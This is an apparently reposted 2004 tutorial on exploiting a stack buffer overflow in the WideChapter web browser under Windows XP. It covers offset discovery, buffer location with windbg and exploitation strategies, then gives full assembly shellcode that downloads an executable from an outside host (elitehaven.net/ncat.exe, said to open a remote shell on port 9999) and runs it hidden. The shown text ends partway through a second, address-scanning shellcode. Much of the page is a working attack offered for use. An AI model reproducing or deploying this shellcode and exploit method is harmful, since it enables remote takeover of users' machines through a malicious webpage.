PC6下载站

分类分类

Exploitation of Buffer Overflows Under Windows XP

关注+2004-10-07作者:蓝点

Since the dawn of the computer age, coders and admins alike have been plagued with a fearsome and
powerful enemy. This creature is difficult to avoid, since it takes advantage of the very design system of modern computers
to live. rarely taking the same form twice, this beast was originally created by the combination of a lack of foresight during
the creation of some of the worlds most popular and powerful languages, and was supported wholly
by the unsuspecting systems it has plagued.


                          Hitchhiker's World (Issue #8)
                        http://www.infosecwriters.com/hhworld/

      ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
      ++ Exploitation of Buffer Overflow Vulnerabilities Under Windows XP ++
      ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
                ++     Exploiting User Applications: A Case Study   ++
                +++++++++++++++++++++++++++++++++++++++++++++++++++
                  ++                 WideChapter.exe             ++
                    ++         http://www.widechapter.com       ++
                    +++++++++++++++++++++++++++++++++++++++++++
                      ++         By Peter Winter-Smith       ++
                        ++       [peter4020@hotmail.com]     ++
                        +++++++++++++++++++++++++++++++++++

Section 1. A General Introduction to Buffer Overflows
=====================================================

Since the dawn of the computer age, coders and admins alike have been plagued
with a fearsome and powerful enemy. This creature is difficult to avoid, since
it takes advantage of the very design system of modern computers to live.
Rarely taking the same form twice, this beast was originally created by the
combination of a lack of foresight during the creation of some of the worlds
most popular and powerful languages, and was supported wholly by the
unsuspecting systems it has plagued.

For you see, this work of evil is deceptive; the system on its own is blind
and perhaps foolishly trusting. On it's own it would not be able to recognise an
attack being mounted against it even after it had been carried out. It is this
ability which gives the creature it's unique nature. There are many ways in
which it can achieve a successful attack, and it is often able to outwit the
very people who created the conditions under which it was able to thrive.

Although you may feel unaffected by this, I can say with total and complete
confidence that if you have ever used a computer which had access to the outside
world, no matter how important it was, you were vulnerable to attack. If you
have not been attacked you can be sure that luck had a huge role to play in
that.

One famous application was designed to infiltrate system after system. It was
one of the first of it's kind. Instead of taking the form of an attacker
attempting to gain unauthorised access it used the design flaws to upload itself
to the victim, and then went on to replicate itself, and search for others to
attack.

It was commonly known as the Morris Worm, after it's author Robert Morris was
convicted upon the grounds of substantial evidence arising from his research
work.

Two other, more recent worms, both of which were spread on a much larger scale
than the Morris Worm, are the SQL Slammer, and most recently the MSBlaster
worm, both of which took advantage of widespread stack based buffer overflows in
Microsoft Windows systems. The holes existed in Microsoft SQL Server, and the
Windows RPC Interface respectively, and caused many computers to become infected
over the period of a few days.

Although these malicious applications can cause hold-ups, loss of money and
business, and pose many a potential problem to the remote systems, you can often
consider yourself lucky if your computer was infected, because it's highly
likely that otherwise a remote attacker would have been able to assume complete
control over the system, and could have used it whatever malicious ends he
desired.

The more observant of you will probably have noticed that I have not yet
actually attempted to explain what a buffer overflow is, how it can occur, and
where they are commonly found; so I had better make haste to do that!

To cut a long story short, a buffer overflow condition arises when more data
is allowed to be written to a specific point in the memory than was set out to
hold that data. Often data will be written to the stack memory area, which is
where buffers local to a specific procedure are usually created.

When a function is called, a return address is placed onto the stack by the
application, which the function uses to know where to return to in the
previously run executable code once the function has completed.

Often the base pointer is placed onto the stack by the function, the stack
pointer is placed into the base pointer register, and a pre-defined amount of
space is created on the stack by subtracting a value from the stack pointer
register. Data is written on to the stack by instructions such as 'push', and is
placed at the address contained in the stack pointer register.

When the function has completed, the 'leave' instruction moves the base pointer
back into the stack pointer register, then 'pops' the saved base pointer off of
the stack so that the stack pointer is pointing at the saved return address.
Then the 'retn' instruction (or some close variant) pops that off the stack into
the instruction pointer register which causes the execution flow to go back to
the application code, one instruction after where it executed the call.

A lot of the functions work with strings, such as strcpy(), which copies a
string from a memory location to another memory location, strcat() which adds
one string of data onto another in the memory, and gets(), which takes user
input from stdin, and places it into a buffer. Much of the time these functions
are used with input which the user of the software can control, such as a
request for a username, or a password, or even a the path of a file - basically
any string input area is potentially vulnerable depending on how the coder has
worked with the data afterwards. When the afore mentioned instructions (along
with many others) are used with user input, the combination is *lethal*.

Strings are asciiz in win32, which means that they are only considered as having
ended when a null byte (00h) is encountered. Strings in C and C++ are declared
with a fixed length, for example 'char string[16];' would create a 16 byte
buffer, and 'char string2[]="THISSTR";' would create an eight byte buffer.
Strings are dealt with in multiples of four (rounding up), so if you declare a
character array of 10 bytes, it will be 12 bytes long, and if you declare one of
37 bytes length, it will be 40 in memory.

If you take a moment to think about what each of these instructions do, you will
notice that each of them will just take data from one area of memory, and place
it into another area. So, here is the big question, how do they know when to
stop copying? When they copy data from one area of memory, what makes the
function think 'okay, we've reached the maximum character count of the buffer'?
The truth is, for these functions there is no such inhibitive intuition which
the application possesses, and so it just stops copying when it reaches a null
byte in the memory area which is having data taken from it, copying/moving byte
by byte into the target buffer until it reaches that null. This procedure is
fatal.

The reason this procedure is fatal, is the fact the buffer often lies right
behind the values placed onto the stack after a function is called. Supply
enough data, and you can leak out of the buffer and overwrite those values, most
dangerously the return address, which would mean that when the function reached
the 'retn' instruction, it would try and continue to execute code from an
address which you supplied!

From here you have a wealth of options, including:

(a) Crash the application by pointing to a bad memory area which it cannot read
    from.

(b) Cause the application to jump to a restricted area of code within itself,
    for example to bypass an authorisation request.

(c) Push your own code into the buffer and execute that.

(d) Point to a function address and execute it.

A careful coder will be able to avoid these issues, by checking the length of
the data before copying it into the buffer to ensure that it won't exceed the
length of the buffer, but sometimes even the methods in which they do this can
be maliciously manipulated - commonly by causing an 'integer overflow'.
If it were to receive information from the user about how many bytes to copy,
then compare that number with a pre-stored amount, for example, no data longer
than 128 bytes, and the user supplied a long string, and specified to copy 129
bytes of it, it would refuse to copy, but 127 bytes would be fine, because it
wouldn't exceed the buffer.

The only problem here is often if you supply a value large enough value, it will
be wrapped around, for example a string of length ffh (255 bytes) would never be
allowed through, but one greater than that, would wrap to 100h, and it would
read as an byte of 00h bytes, which would be allowed past the checking routine!
However that is just a point for quick consideration, we won't attempt to cover
bypassing protection methods in this paper.


Section 2: Meet The Victim, Victim, Meet Your Exploiters!
            Or Introducing WideChapter.
=========================================================

As can probably be guessed from the title, I have already chosen a target for
this paper, and it's a nice one. From this point onwards, it would help if you
could get hold of a copy of WideChapter Version 3 or below if you wish to follow
through explicitly all the things mentioned here. If not, then just read on
regardless, and I will try to explain as well as is possible.

"WideChapter is the most powerful multi Chapter multi tab web browser.
WideChapter is a stable, fast, user-friendly browser. WideChapter gives each web
site its own tab!"
- Vendor's Description - www.widechapter.com

I agree with every part of that description, throughout my one month free trial,
I actually decided to set it as my default browser!

This application contains an extremely dangerous buffer overflow, which Secunia
labelled as 'highly critical', see if you can find where it lies if you want a
bit of an exercise, or alternatively, read on.

Try entering an url into the web address bar, beginning with 'http://' and
followed by around 600 bytes of data (I used 'a'), and let's see what happens!
If you entered a string of the right length into the address bar, you should
have been greeted with an error message stating something along the following
lines: 'WideChapter.exe had encountered a problem and needs to close. We are
sorry for the inconvenience. ... For more information about this error, click
here', where the words 'click here' are highlighted.
Since we're no longer assuming the role of regular users, we must pay attention
to each and every error that arises (and some which don't!), so click the
highlighted text, and take a look at the next window:

Error Signature:
+ Appname: widechapter.exe
+ AppVer:   3.0.0.0
+ ModName: unknown
+ ModVer:   0.0.0.0
+ Offset:   61616161

If it looks anything like the above, then you can be sure that we have our
overflow. The address 61616161h is 'aaaa' in hexadecimal, which is solid
evidence that we have overwritten the return address, and tried to execute code
at an inaccessible memory location - hence the crash.

As it now stands, this overflow is not very critical. It seems that you would
have to somehow get a WideChapter user to visit an extremely unlikely location
in their browser to cause an overflow, and preserve all the non-standard bytes
which would appear in the malicious web address which would not copy and paste
well at all. Therefore we would do best to consider alternate ways in which we
could cause an overflow to occur using more accurate and less obvious techniques
... how about a webpage?

Try and create a webpage similar to the following:







Naturally replacing '(600 bytes of the character 'a')' with the actual string
values.

Then load WideChapter again, this time to go 'File', 'Open', and choose the html
file which you had just created. If you did everything right, you will see the
exact same error message as you did when you entered an overly long url into the
browser; Now that's far more critical - just viewing a webpage could allow
system compromise - that's how we like it!

Section 3: Theory About Exploitation Methods!
=============================================

As far as this paper is concerned, there are three main ways of executing code
through a buffer overflow condition, since this is not a highly privileged
application, we will not aim for any other ends to the attack, such as bypassing
anything. The methods are as follows: (a) Jumping directly to the buffer, (b)
jumping to a call esp instruction, (c) jumping to a function to execute.

I will attempt to briefly explain how each of them should work, where their good
points are, and where their failings lie:

(a). Jumping Directly into the Buffer

As the name rather gives away, this kind of attack requires that the return
address be overwritten by the address of the actual buffer. Due to the dynamic
nature of the windows stack, this attack method is far less common for windows
based exploitation, but occasionally you can get a lovely address, static to all
versions of the Operating System and application.

To increase the chance of you hitting your code, it is common to place the code
at the end of the buffer, and precede it with nop (90h) instructions, which you
aim to hit one of. Once you start to execute the nops (which stands for no-
operation), they work like a trail, doing nothing until you hit your code.

It seems that this exploitation method is extremely popular in the Linux
security community.

(b). Jumping to a 'call esp' Instruction

This type of exploitation is often extremely reliable for Windows systems, and
is the one most commonly used in published exploits. It relies on the attacker
filling the buffer with junk, pointing the return address at the address of an
internal or external 'call esp' or 'jmp esp' instruction, and placing the code
after the return address.

Earlier I described that the 'leave' instruction makes the stack pointer
register point directly at the saved return address, waiting for a 'retn'
instruction to allow the application to resume code execution where it left off
before making the function call.
If you were to place your code straight after the return address, upon execution
of a 'retn' instruction, the esp register (extended stack pointer) would point
right at your code, having already pop'ed off the saved return address.

With this type of exploitation, if you are trying for maximum reliability, it is
often best to use a 'call/jmp esp' instruction which is in a module static to
the application package. An infrequently updated dll module would be perfect,
since you can almost be sure that your exploit will work on older versions of
the vulnerable software, and the different platforms which you will target.

You also must not have any null bytes in the address of the 'call/jmp esp'
instruction, or your code will be cut off, as will anything following the null
byte (remember that the string related functions tend to regard nulls as string
termination points).

The amount of code that you can supply after the return address is often
significantly smaller than the amount of code which you can supply in the
buffer, but that all depends on the situation.

(c). Jumping Directly to a Function

Recently, the idea has arisen whereby it is not even necessary to write a single
line of shellcode to compromise a system. You have far less control relatively,
but it's still extremely dangerous, and very simple to work with. This idea
works by pointing the return address at a function, such as winexec() or
system(), and filling the buffer with commands, and executing them as if the
function had just been called.

You need to overflow the return address with the address of the function, then
place a fake return address (since the 'call' for the function, which we missed
out on, would have left one), and then set up the stack exactly as it would be
if we had just made a call. For winexec() and system() this involves little more
than just leaving a pointer to the exact buffer address, or where the target
asciiz text to execute lies in memory. To do this, it is inevitable that you
will have a lot of buffer space left over, so you must terminate your commands
with the symbol '&', since it will make windows regard the text instructions and
the excess 'padding' as several different commands to be run, and the successful
execution of the second command (or our padding) will have no bearing on the
success of the first, and so forth.


Section 4: A Little More Theory And Some Problems!
==================================================

Here we have to assess the situation, and see which of the methods described in
section three would best suit our needs. Ideally, we would like to gain some
kind of compromise which would allow us to execute multiple commands based on
output received. It may be possible to use method (c), the 'jump to function'
method, to download and execute a netcat listener from a tftp server, but it's
often quite hard to correctly guess the function address. It was also intended
that this paper will cover basic shellcoding, so I think we'll go for one of the
other methods.

When you break it down, the method which is most suitable is the method which is
most reliable, and as I stated earlier, method (b) wins that award since it
doesn't matter at what address on the stack we placed our code, since it will
always be pointed at by the esp register. The only potential problem with this
method is the fact that we may well have less space than we would require, so
let's check that now.

It is generally recognised that the best way to find how many bytes are needed
to overwrite the return address can be found in this way:

(value) bytes of 'a' + 'aaaabbbbccccddddeeeeffffgggghhhhiiijjjj ...'

Where you can adjust the (value) until it lies at a point before your return
address (it doesn't really matter how much behind, but make sure that the number
of bytes are divisible by four), and then pad the rest out with a known byte
string, like 'aaaabbbbccccddddeeeeffffgggghhhhiiijjjj ...' and so on. Then the
return address will be overwritten with one of the groups of characters, and you
will know exactly how many bytes are needed to gain control of the execution
flow. So that's the first step in the exploitation.

Try to find it for yourself if you have the application at hand, if you don't,
here's a clue:

Where (value) is 510; the return address is 'dddd'

(value) bytes of 'a' + 'aaaabbbbccccddddeeeeffffgggghhhhiiijjjj ...'

A simple bit of deduction will tell you that 522 bytes will point at the start
of the return address, and 526 will completely overwrite it.

Now that we know this, next up is to find out exactly how many bytes we have
after the return address for code, before the application crashes without
executing the 'retn' instruction. Just keep on adding bytes until it refuses to
try and execute code at 61616161h. I have found the number of bytes available to
be 155. Sadly 155 bytes isn't really much at all. It would be possible to put a
portbind shellcode (which would bind cmd.exe to a port for you to access) in
that amount of space, but it would have to contain hard coded addresses for
functions, and that would mean luck would have too big a part to play for it to
be worth the exploitation (hard coded being when you use the absolute addresses
of functions, rather than ones calculated at execution time).

So what can we do about this? It looks like ideally we should take up
exploitation method (a), jumping to the buffer, since we have up to 518 bytes
available for code, which is more than anyone could ever want to write a decent
exploit. The main problem, as I mentioned earlier, is the fact that the buffer
never seems to end up at the same location twice, but maybe that 'nop' padding
idea would be sufficient enough.

The best way to find the address of a buffer, in my opinion, is to use the
Microsoft Windows Debugging Tools, also known as windbg. They can be obtained
from:

http://www.microsoft.com/whdc/ddk/debugging/default.mspx

Once you have these, load the main debugger application. Then, if you have not
already done so, create an html file, with the content which I mentioned back in
section two, and fill the url variable with:

'http://www.google.com/BASECODE' + 492 bytes of 'a' + 'XXXX'

Then load the file into WideChapter, and wait for it to crash. It should crash
when trying to execute code at 58585858h, which is hex for ascii 'XXXX'
(occasionally it will try to execute 58586161h, but don't alter the bytes
accordingly, 492 is in this case the correct amount). When it crashes do not
close the crash window, but instead go back to windbg, and press 'f6', select
'WideChapter.exe' and hit 'OK'. Once the application has loaded, in windbg, go
to 'View', 'Command', and a box should be at the front of the screen which will
allow you to debug the application. Type the following:

s -a 1 10000000 "BASECODE"

This should search the memory for the text which be tacked onto the front of our
url, my results are as follows:

0:009> s -a 1 10000000 "BASECODE"
001520ba   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa
001b8317   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa
001be093   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa
001df74b   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa
00d1a81a   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa
00d1aa36   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa

Now we want to be entirely sure that these locations won't change for the next
time we cause the overflow, so follow the procedure three more times (closing
and restarting WideChapter and windbg each time). Here are my results:

0:009> s -a 1 10000000 "BASECODE"
001520ba   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa
001b8307   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa
001be083   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa
001e06cb   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa
00d2ab52   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa
00d2ad6e   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa

0:009> s -a 1 10000000 "BASECODE"
001520ba   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa
001b838f   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa
001be0ab   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa
001df74b   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa
00d1bb1a   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa
00d1bd36   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa

0:008> s -a 1 10000000 "BASECODE"
001520ba   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa
001bdf03   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa
001bff0f   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa
001e061b   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa
00d2aaca   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa
00d2ace6   42 41 53 45 43 4f 44 45-61 61 61 61 61 61 61 61   BASECODEaaaaaaaa

As you can see, one address is always in use (001520ba), the others are randomly
allocated at runtime. Most modern computer architecture works by using a method
called 'little endian', which means that values are stored using the smallest
byte first, and so forth, which you can prove by overwriting the return address
with just one or two bytes - the application should crash at an address whereby
only the lesser parts of the address have been modified, for example at the
address 00406161. If you make those last two bytes 'ab', you would find the
address of the crash looking more like 00406261, rather than the expected
'00406162' (where 61h is ascii 'a', and 62h is ascii 'b'). This should show you
that you must load the return address in backwards for code execution to resume
where you intend it to.

Now, sadly, we cannot jump to the address 001520ba, because it seems that the
characters do not copy as we intended, and the return address ends up looking
more like 303225ba, the reason for this I have not investigated to much of an
extent, but I am willing to bet that it probably had something to do with an
internal parser, or possibly some such low-ascii byte reformation or alteration
procedure before the 'retn' instruction is reached.

That leaves us with a nasty problem - the other buffer addresses are just as bad
for low value bytes, and the nop padding idea is all out of the window because
of the huge differences between the buffer addresses each time round. So what
can we do?

Our only option, it would appear, would be to stick with the dismal idea of only
executing a small amount of code with the 'call/jmp esp' method, but first let's
review the situation once more.

We know that all the buffer addresses start at 001?????, and the second storage
location for the string (the next given after 001520ba), always lies at around
001b????, which on the bad side means we have around 64kb of potential addresses
where the buffer may lie, but on the good side at least it's not in the
millions.

We also know that we have 155 bytes to execute code using the 'call/jmp esp'
method. Now for a moment quickly consider our possible options when combining
the two known factors. Then read on.

Although, as previously mentioned, 155 bytes is not enough for a decent
shellcode, it is definitely enough to write a sub or mini-shellcode, which could
try to locate the correct buffer location, and then jump to it! It would only
need to scan the range beginning at 001b0101 and it should hit our code in well
under a second!
Then we would also have avoided the large amounts of 'nop' padding, and should
and be able to get it right every time since when the address of the buffer
changed, it would just find the new one!


Section 5: The Long Bit Explaining The Concept Of Shellcoding.
==============================================================

As the sub heading suggests, this section is probably going to be the longest in
the paper!

To summarise a long topic, shellcode is actually just raw instructions written
in assembly language. They are read as part of the application code during an
overflow, and carry the same execution privileges as the target application.
Most commonly they are represented in exploit code written in C or Perl in the
following format:

char somevar[] = "x..x..x..x..x..x..";
  Or ...
$somevar = "x..x..x..x..x..x..";

I am sure that you have all seen this before. All that the 'somevar' string
contains is the hexadecimal values for the raw executable code which we wish to
run on the target system.

When writing shellcode, because the code is being represented as asciiz for the
most part, especially during the initial data storage or movement routines,
certain bytes must be avoided. Since the string is being treated as asciiz, you
will almost always need to avoid null bytes, since all data after the first null
will be lost.

On a few occasions data is read line by line into a buffer or series of buffers,
occasionally overwriting the original content of these buffer(s), so for such
occasions it would be wise to avoid bytes like 0dh and 0ah, which are carriage
return and line feed respectively, which may sometimes cause the function to
stop reading from the input source.

In the most horrible of cases, functions convert uppercase bytes to lowercase,
create and remove nulls, and work with Unicode buffers, all of which are still
sometimes exploitable, but require an amount of patience which I have yet to
receive! Luckily, our buffer doesn't seem to be having any of these extreme
problems, for which we can be very thankful.

So, how is shellcode written in the first place?

For me, shellcode writing is more of an art. The perfect balance of size and
compatibility. Breaking it down however, the first stage of shellcode writing is
to plan exactly what you wish to achieve. Since we are targeting a Windows XP
machine (WinXP Home - SP1 in my case), we have a wealth of Win32 API to play
with.

We have several options, we could write a portbind shellcode which we would use
to connect via the command line to the remote computer which would be great,
especially if we were to target a remote server, however WideChapter is far more
of a home user application, and from what I know of home users, they are often
shutting down, or rebooting, or having problems, so you would be liable to lose
your shell at any given time.

So what might be a better idea? How about writing a shellcode to connect to a
remote web server, download any file you like (remote control application,
patch, etc) and execute it immediately? To me this seems like a far better idea.
Now the only problem is how to go about writing such a shellcode.

It may give you some idea if I tell you that there are three API calls which can
help us a huge amount with this; kernel32.LoadLibraryA(),
urlmon.UrlDownloadToFileA() and kernel32.WinExec(). You can almost work out what
they do, and even what parameters we would need to supply to the calls. If you
have fairly little experience with the win32 API, the functions are documented
below:

LoadLibraryA
------------
The LoadLibrary function maps the specified executable module into the address
space of the calling process.

HINSTANCE LoadLibrary(
    LPCTSTR   lpLibFileName   // address of filename of executable module
  );
------------

URLDownloadToFileA
------------------
Downloads bits from the Internet and saves them to a file.

HRESULT URLDownloadToFile(
    LPUNKNOWN pCaller,
    LPCTSTR szURL,
    LPCTSTR szFileName,
    DWORD dwReserved,
    LPBINDSTATUSCALLBACK lpfnCB
  );
------------------

WinExec
-------
The WinExec function runs the specified application.

UINT WinExec(

    LPCSTR   lpszCmdLine,     // address of command line
    UINT   fuCmdShow     // window style for new application
  );
-------

So what would we have to do to implement these?

(a). We will need to use URLDownloadToFileA, so let's load URLMON.DLL.
(b). Once loaded, we need to supply the address of a remote file to download,
and a path to save the file to.
(c). Then we need to supply WinExec with the path of the file, and execute it.

First however, before we can start writing any code, we will need the addresses
in memory of these functions. These can be got easily through W32Dasm, just load
kernel32.dll and urlmod.dll, then search the exported functions for them. Mine
are as follows:

kernel32.dll
------------
...
Addr:77E7D961 Ord: 571 (023Bh) Name: LoadLibraryA
...
Addr:77E6FD35 Ord: 889 (0379h) Name: WinExec
...


URLMON.DLL
----------
...
Addr:1A44067D Ord:   66 (0042h) Name: URLDownloadToFileA
...


Now to write the first piece of shellcode which we could potentially use in the
attack:


;---------------------- [ tinybad.asm ] ----------------------


; WinXP Home SP1 Download and Execute
; [peter4020@hotmail.com]
;
; nasmw -s -fbin -o tinybad.s tinybad.asm

bits 32

start:


;###############################################################################
;                                   FIND STRING OFFSETS
;###############################################################################
;

jmp short data       ; where the strings lie

continue:
pop edi         ; pop saved return address, which points to our string data
mov esi, edi         ; esi = 'urlmon.dll'
scan1:
inc edi         ; check the next byte in our 'data section'
cmp byte [edi],0ffh ; compare that byte with our string terminator
jne scan1       ; if they are not equal, try again
inc byte [edi]       ; if they are the same, turn it into a null!
inc edi         ; move onto the start of the next string
mov ebx, edi         ; ebx = string of url
scan2:

inc edi
cmp byte [edi],0ffh
jne scan2
inc byte [edi]
inc edi
mov edx, edi         ; edx = path of download
scan3:
inc edi
cmp byte [edi],0ffh
jne scan3
inc byte [edi]
inc edi
push edx

push ebx         ; store our addresses for later
push edx
push esi
;###############################################################################

;###############################################################################
;                                     MAIN SHELL CODE
;###############################################################################
;

; setup function to be called (loadlibrarya)

push esi         ; 'urlmon.dll'

; end setup

mov eax, 77e7d961h
call eax         ; call loadlibrarya


pop esi         ; get our string addresses back
pop edx
pop ebx

push edx         ; edx = path of file

; setup function to be called (urldownloadtofilea)

push edx
xor ecx, ecx
push ecx
push ecx
push edx         ; path of download
push ebx         ; url of download
push ecx

; end setup

mov eax, 1a44067dh
call eax         ; call urldownloadtofilea

nop
nop

pop edx         ; get file path back

; setup function to be called (winexec)

pop edx
xor ecx, ecx         ; run as sw_hide ...
;inc ecx         ; un-comment this to run the commands as sw_normal
push ecx
push edx         ; path of file just downloaded

; end setup

mov eax, 77e6fd35h
call eax         ; call winexec

mov ecx, 0deadcfdeh
infloop:         ; infinite loop; no crash when done
inc ecx
cmp ecx, 0badcfdedh
loopnz infloop       ; if this slows you down too much, remove it!

int3h           ; causes the application to stop executing - crashes

;###############################################################################


;###############################################################################
;                                       TEXT DATA
;###############################################################################
;
data:
call continue
db 'URLMON.DLL', 0ffh
db 'http://www.elitehaven.net/ncat.exe', 0ffh   ; the file at this address
                                                ; spawns remote shell on port
                                                ;9999
db 'c:
c.exe', 0ffh
;###############################################################################


;---------------------- [ END OF FILE ] ----------------------


For the beginner that may seem like a lot to take on board at once, so I've
tried to comment it as well as possible. This code compiles with nasm, and
sometimes won't work with certain 'shellcode testers', but it works perfectly
for our needs.

-----------------------------------------------------------------------------
|| Instruction || Usage                                                     ||
-----------------------------------------------------------------------------
|| jmp         || 'jmp short' takes a single byte as the offset to jump to.||
||             || Since it only takes one byte as an argument, it is a way ||
||             || to avoid the nulls which appear in a regular 'jmp'       ||
||             || instruction.                                             ||
---------------------------------------------------------------------------||
|| pop         || 'pop' just takes the first dword from the address pointed||
||             || to by the esp, and places it in the specified register.   ||
-----------------------------------------------------------------------------
|| mov         || 'mov' in all our cases, just copies the content of one   ||
||             || register into another.                                   ||
-----------------------------------------------------------------------------
|| inc         || 'inc' just increments a register, but 'inc byte [reg]'   ||
||             || will increment the byte pointed at by the 'reg' register ||
-----------------------------------------------------------------------------
|| cmp         || 'cmp' just compares two values, and sets the zero flag if||
||             || they are the same.                                       ||
-----------------------------------------------------------------------------
|| jne         || 'jne' takes an address as the argument, and jumps to     ||
||             || to that address if the zero flag is not set.             ||
-----------------------------------------------------------------------------
|| push         || 'push reg' will place that register on the stack at the   ||
||             || address pointed at by the stack pointer.                 ||
-----------------------------------------------------------------------------
|| call         || 'call' places a return address on the stack, and jumps to||
||             || the location supplied as an argument.                     ||
-----------------------------------------------------------------------------
|| xor         || 'xor reg, reg' checks the bits in one register against   ||
||             || the bits in the other. xor'ing two registers with the     ||
||             || same content will always return null byte(s).             ||
-----------------------------------------------------------------------------
|| nop         || no-operation, a one byte long instruction which doesn't   ||
||             || do anything but move on to the next byte.                 ||
-----------------------------------------------------------------------------
|| loopnz       || 'loopnz label' jumps to the label while the zero flag is ||
||             || not set.                                                 ||
-----------------------------------------------------------------------------
|| int3         || places a breakpoint, effectively stopping code execution ||
-----------------------------------------------------------------------------
|| db ...       || define bytes. just stores bytes for later use. in our     ||
||             || case we terminate the ascii bytes with our fake null ffh ||
||             || which we search for, and increment to a real null.       ||
-----------------------------------------------------------------------------

If you print of my mini-instruction guide, and read the shellcode through again,
I am certain that it will all make sense!

There is just one problem with this code. Although it will work for my computer,
and another WinXP Home - SP1 machine, it won't work for any other WinXP system,
because of the hard coded addresses which are:

[ Windows XP Home - SP1 ]
------------------------------------
||Address   || Function           ||
------------------------------------
|| 77E7D961 || LoadLibraryA       ||
------------------------------------
|| 77E6FD35 || WinExec             ||
------------------------------------
|| 1A44067D || URLDownloadToFileA ||
------------------------------------

If you compare these with another WinXP Home system:

[Windows XP Home - SP0 ]
------------------------------------
||Address   || Function           ||
------------------------------------
|| 77E805D8 || LoadLibraryA       ||
------------------------------------
|| 77E684C6 || WinExec             ||
------------------------------------
|| 1A44A3BF || URLDownloadToFileA ||
------------------------------------

These addresses change all the time, with updates being made, and new versions
of the same Operating System being released frequently, so there must be a
better way to get these addresses. Many people have their own different ways of
getting these addresses with their shellcode, and I have mine. While mine is
certainly not the best, it gets the job done, and leaves you with relatively
small code.

To do this, I try and find a dword of data which is unique within or near to a
function, and is always the same distance from the function address throughout
all patches and releases of the dlls. I scan for these bytes, subtract a value
to reach the start of the function, and call it. This way it doesn't matter at
which address the function lies, the shellcode should always find it. Naturally
the base address of the kernel32 dll will need to be static, which it usually is
for all versions of Windows XP.

For maximum clarity, I have written a function called 'scanner()' which does the
most part of the work for the scanning, and can be called like a regular win32
function. It takes four parameters, which are as follows:

Scanner()
(a) + DWORD Distance from Function
(b) + DWORD DLL Base
(c) + DWORD Code Length
(d) + DWORD Search String

(a) Requires that you push a value which is the distance from the unique dword,
to the function address. It is subtracted from the address of the unique dword.
(b) Requires an address to start from when looking for the unique dword.
(c) Number of bytes to search for the unique string.
(d) Unique search bytes (in reverse!)

Here is the function when implemented in the 'tinybad.asm' shellcode:


;---------------------- [ tinymod4.asm ] ----------------------


; Generic WinXP Download and Execute
; [peter4020@hotmail.com]
;
; nasmw -s -fbin -o tinymod4.s tinymod4.asm

bits 32

start:

jmp short pastfunct

;###############################################################################
;                                     SCANNER() FUNCTION
;###############################################################################
;
; sub scanner(distance from function, dword dll base, dword code length, dword
;                                                               search string)

scanner:
pop esi         ; esi = return address
pop edx         ; dl = distance from function
pop edi         ; edi = dll base
pop ecx         ; ecx = code length
pop ebx         ; ebx = search string
trawlmem:
inc edi
mov al, bl       ; bl = search byte from search string
repne scasb     ; scan until search byte is found
jmp short checkbytes     ; jump over nop, to get a distance greater than 00h from
                        ; 'checkbytes'
nop
checkbytes:
dec edi         ; move one back from edi to align the search string
push esi         ; preserve the saved return address
push dword [edi]     ; push the possible match for the search string
pop esi         ; place the possible search string into esi
cmp ebx, esi         ; compare the correct and potentially correct search string
pop esi         ; pop off the saved return address
je short gotcha     ; if we have a match, jump to 'gotcha'
jmp short trawlmem   ;   ... otherwise it's time to search again
gotcha:
sub edi, edx         ; get to start of the ?? function
call edi         ; call the ?? function
jmp esi         ; return to code at the saved return address

; end sub
;###############################################################################

pastfunct:

jmp short avoidnastynulls

;###############################################################################
;                                     FIND STRING OFFSETS
;###############################################################################

continue:
pop edi         ; pop saved return address, which points to our string data
mov esi, edi         ; esi = 'urlmon.dll'
scan1:
inc edi         ; check the next byte in our 'data section'
cmp byte [edi],0ffh ; compare that byte with our string terminator
jne scan1       ; if they are not equal, try again
inc byte [edi]       ; if they are the same, turn it into a null!
inc edi         ; move onto the start of the next string
mov ebx, edi         ; ebx = string of url
scan2:
inc edi
cmp byte [edi],0ffh
jne scan2
inc byte [edi]
inc edi
mov edx, edi         ; edx = path of download
scan3:
inc edi
cmp byte [edi],0ffh
jne scan3
inc byte [edi]
inc edi
push edx

push ebx         ; store our addresses for later
push edx
push esi
;###############################################################################

jmp short pastpoint ; we do this so we can have two 'jmp short's ...

avoidnastynulls:
jmp short data       ; since it avoids the nulls in regular 'jmp far's!

pastpoint:

;###############################################################################
;                                       MAIN SHELL CODE
;###############################################################################

; setup function to be called (loadlibrarya)

push esi         ; 'urlmon.dll'

; end setup

; setup scanner()

push dword 0c25b5effh   ; unique string a know offset from loadlibrarya
push dword 0deadcfdeh   ; long loop to cover entire file in memory
